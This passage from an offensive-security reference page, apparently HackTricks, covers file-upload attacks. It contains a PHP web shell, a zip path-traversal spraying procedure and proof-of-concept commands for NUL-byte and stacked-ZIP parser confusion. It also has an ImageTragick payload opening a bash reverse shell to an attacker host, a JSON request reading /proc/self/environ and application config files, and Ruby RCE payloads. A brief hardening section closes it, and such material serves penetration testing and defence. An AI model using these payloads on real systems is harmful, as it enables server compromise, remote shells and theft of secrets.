```php 503 <?php 504 if(isset($_REQUEST['cmd'])){ 505 $cmd = ($_REQUEST['cmd']); 506 system($cmd); 507 }?> 508 ``` 509 510 2. **File Spraying and Compressed File Creation**: Multiple files are created and a zip archive is assembled containing these files. 511 512 ```bash 513 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done 514 root@s2crew:/tmp# zip cmd.zip xx*.php 515 ``` 516 517 3. **Modification with a Hex Editor or vi**: The names of the files inside the zip are altered using vi or a hex editor, changing "xxA" to "../" to traverse directories. 518 519 ```bash 520 :set modifiable 521 :%s/xxA/../g 522 :x! 523 ``` 524 525 ### ZIP NUL-byte filename smuggling (PHP ZipArchive confusion) 526 527 When a backend validates ZIP entries using PHP’s ZipArchive but extraction writes to the filesystem using raw names, you can smuggle a disallowed extension by inserting a NUL (0x00) into the filename fields. ZipArchive treats the entry name as a C‑string and truncates at the first NUL; the filesystem writes the full name, dropping everything after the NUL.<sup>[[19]](#references)</sup> 528 529 High-level flow: 530 - Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF. 531 - Name it like `shell.php..pdf`, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first `.` after `.php` with `0x00`, resulting in `shell.php\x00.pdf`. 532 - Validators that rely on ZipArchive will “see” `shell.php .pdf` and allow it; the extractor writes `shell.php` to disk, leading to RCE if the upload folder is executable. 533 534 Minimal PoC steps: 535 ```bash 536 # 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF) 537 printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf 538 539 # 2) Trick name and zip 540 cp embedded.pdf shell.php..pdf 541 zip null.zip shell.php..pdf 542 543 # 3) Hex-edit both the local header and central directory filename fields 544 # Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf 545 # Tools: hexcurse, bless, bvi, wxHexEditor, etc. 546 547 # 4) Local validation behavior 548 php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";' 549 # -> shows truncated at NUL (looks like ".pdf" suffix) 550 ``` 551 552 Notes 553 - Change BOTH filename occurrences (local and central directory). Some tools add an extra data descriptor entry too – adjust all name fields if present. 554 - The payload file must still pass server‑side magic/MIME sniffing. Embedding the PHP in a PDF stream keeps the header valid. 555 - Works where the enum/validation path and the extraction/write path disagree on string handling. 556 557 ### Stacked/concatenated ZIPs (parser disagreement) 558 559 Concatenating two valid ZIP files produces a blob where different parsers focus on different EOCD records. Many tools locate the last End Of Central Directory (EOCD), while some libraries (e.g., ZipArchive in specific workflows) may parse the first archive they find. If validation enumerates the first archive and extraction uses another tool that honors the last EOCD, a benign archive can pass checks while a malicious one gets extracted.<sup>[[19]](#references)</sup> 560 561 PoC: 562 ```bash 563 # Build two separate archives 564 printf test > t1; printf test2 > t2 565 zip zip1.zip t1; zip zip2.zip t2 566 567 # Stack them 568 cat zip1.zip zip2.zip > combo.zip 569 570 # Different views 571 unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive 572 php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";' 573 ``` 574 575 Abuse pattern 576 - Create a benign archive (allowed type, e.g., a PDF) and a second archive containing a blocked extension (e.g., `shell.php`). 577 - Concatenate them: `cat benign.zip evil.zip > combined.zip`. 578 - If the server validates with one parser (sees benign.zip) but extracts with another (processes evil.zip), the blocked file lands in the extraction path. 579 580 ## ImageTragic 581 582 Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767)) 583 584 ```text 585 push graphic-context 586 viewbox 0 0 640 480 587 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' 588 pop graphic-context 589 ``` 590 591 ## Embedding PHP Shell on PNG 592 593 Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases. 594 595 A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.<sup>[[7]](#references)</sup> 596 597 More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)<sup>[[7]](#references)</sup> 598 599 ## Polyglot Files 600 601 Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible. 602 603 The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions. 604 605 Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.<sup>[[8]](#references)</sup> 606 607 More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)<sup>[[8]](#references)</sup> 608 609 ### Upload valid JSONs like if it was PDF 610 611 How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):<sup>[[9]](#references)</sup> 612 613 - **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post) 614 - **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post) 615 - **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF 616 617 ### Content-Type confusion to arbitrary file read 618 619 Some upload handlers **trust the parsed request body** (e.g., `context.getBodyData().files`) and later **copy the file from `file.filepath`** without first enforcing `Content-Type: multipart/form-data`. If the server accepts `application/json`, you can supply a fake `files` object pointing `filepath` to **any local path**, turning the upload flow into an arbitrary file read primitive.<sup>[[1]](#references)</sup> 620 621 Example POST against a form workflow returning the uploaded binary in the HTTP response: 622 623 ```http 624 POST /form/vulnerable-form HTTP/1.1 625 Host: target 626 Content-Type: application/json 627 628 { 629 "files": { 630 "document": { 631 "filepath": "/proc/self/environ", 632 "mimetype": "image/png", 633 "originalFilename": "x.png" 634 } 635 } 636 } 637 ``` 638 639 Backend copies `file.filepath`, so the response returns that path’s content. Common chain: read `/proc/self/environ` to learn `$HOME`, then `$HOME/.n8n/config` for keys and `$HOME/.n8n/database.sqlite` for user identifiers. 640 641 642 ### Ruby on Rails Active Storage + libvips parser confusion → arbitrary file read 643 644 A useful upload pattern to test is: **the application stores an attacker-controlled MIME type before inspecting bytes, then a later image-processing step trusts that metadata and lets a backend parser sniff the real format**.<sup>[[22]](#references)</sup> 645 646 In **Rails Active Storage direct uploads**, the blob record can be created with attacker-controlled `content_type` **before** the file is inspected. If later code only checks whether the stored type is inside the image allowlist (for example `image/png`), a non-image file can still reach the variant/analyzer pipeline.<sup>[[22]](#references)</sup><sup>[[23]](#references)</sup> 647 648 Useful checks: 649 650 - **Pre-upload metadata trust:** Can you create the upload/blob/database record first and persist `content_type=image/png` (or another transformable type) without server-side MIME re-identification? 651 - **Independently signed processing tokens:** If the app verifies a blob/object identifier and a processing token separately, test whether a legitimate token from one object can be replayed against a malicious upload. 652 - **Backend parser disagreement:** Compare the outer file sniffer with the deeper parser. A short magic-byte check in layer 1 plus version/offset-based parsing in layer 2 is a strong **polyglot/parser-confusion** candidate. 653 654 One practical Rails chain abused `image_processing` + `vips` leaving loader selection to libvips. libvips `matload` only checked bytes `0-9` for `MATLAB 5.0`, while libmatio selected **MAT 7.3** from bytes `124-125`. A crafted file could therefore: 655 656 - start with `MATLAB 5.0` to satisfy libvips, 657 - set bytes `124-127` to a valid MAT 7.3 version/endian marker, 658 - place a real HDF5 superblock after a **512-byte userblock**, 659 - and use **HDF5 external dataset storage** to read bytes from an attacker-chosen path and offset.<sup>[[22]](#references)</sup> 660 661 This turns the image processor into an **arbitrary file-read oracle**. Good targets are `/proc/self/environ`, `config/master.key`, encrypted credentials, or other files readable by the web worker. If the application returns the generated image, file bytes may come back as pixels; if not, analyzer metadata can still become a lower-bandwidth exfil channel. 662 663 Related pages: 664 - [Ruby Tricks](/hacktricks/network-services-pentesting/pentesting-web/ruby-tricks) 665 - [ImageMagick Security](/hacktricks/network-services-pentesting/pentesting-web/imagemagick-security) 666 667 ### From file read to signed-operation abuse 668 669 Once you can read application secrets, validate candidate signing material against a genuine signed value from the app (for Rails, a real signed blob/token is ideal). If the image-processing pipeline later applies attacker-influenced transformation names with dynamic dispatch such as `public_send(name, *argument)`, recovered signing authority may become RCE.<sup>[[22]](#references)</sup><sup>[[24]](#references)</sup><sup>[[25]](#references)</sup> 670 671 Example JSON-compatible transformation shapes: 672 673 ```json 674 {"send":["spawn","/bin/sh","-c","id"]} 675 {"send":["eval","File.write('/tmp/kr2s', %x{id})"]} 676 ``` 677 678 Even if the HTTP response returns `500`, the payload may already have executed while the processing chain was being built. 679 680 ### Detection / hardening notes 681 682 - Flag files whose first bytes claim `MATLAB 5.0` but whose bytes `124-127` carry a **MAT 7.3** version/endian tag. 683 - Re-identify MIME types **server-side after upload**, not only from pre-upload metadata. 684 - Bind signed processing options to the specific blob/object they are meant for. 685 - For libvips-backed processing of untrusted uploads, block operations marked untrusted (for example via `Vips.block_untrusted(true)`). 686 687 ## References 688 689 - [1] [n8n form upload Content-Type confusion → arbitrary file read PoC](https://github.com/Chocapikk/CVE-2026-21858) 690 - [2] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/) 691 - [3] [PayloadsAllTheThings - Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) 692 - [4] [mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) 693 - [5] [fuxploider - File upload vulnerability scanner and exploitation tool](https://github.com/almandin/fuxploider) 694 - [6] [uWSGI RCE Exploitation - A new vector for "dirty arbitrary file write" 2 RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) 695 - [7] [Encoding Web Shells in PNG IDAT chunks](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) 696 - [8] [Polyglot Files: A Hacker's Best Friend](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) 697 - [9] [CSPT + File Upload = RCE](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) 698 - [10] [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/) 699 - [11] [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878) 700 - [12] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) 701 - [13] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) 702 - [14] [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) 703 - [15] [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) 704 - [16] [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) 705 - [17] [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) 706 - [18] [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink) 707 - [19] [0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)](https://0xdf.gitlab.io/2025/10/04/htb-certificate.html) 708 - [20] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/) 709 - [21] [HackerOne report 3712279 – Burp Suite Professional browser-powered crawler file input path traversal leading to arbitrary file write and delayed code execution](https://hackerone.com/reports/3712279) 710 - [22] [Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)](https://rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066) 711 - [23] [Rails security advisory GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm) 712 - [24] [rails/rails#56995 – Active Storage Vips transformation validation discussion](https://github.com/rails/rails/pull/56995) 713 - [25] [Rapid7 Metasploit module: rails_activestorage_vips_rce](https://github.com/rapid7/metasploit-framework/pull/21733) 714 - [26] [Persistent PHP payloads in PNGs: How to inject PHP code in an image – and keep it there!](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 715 - [27] [Compressed file upload and command execution](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)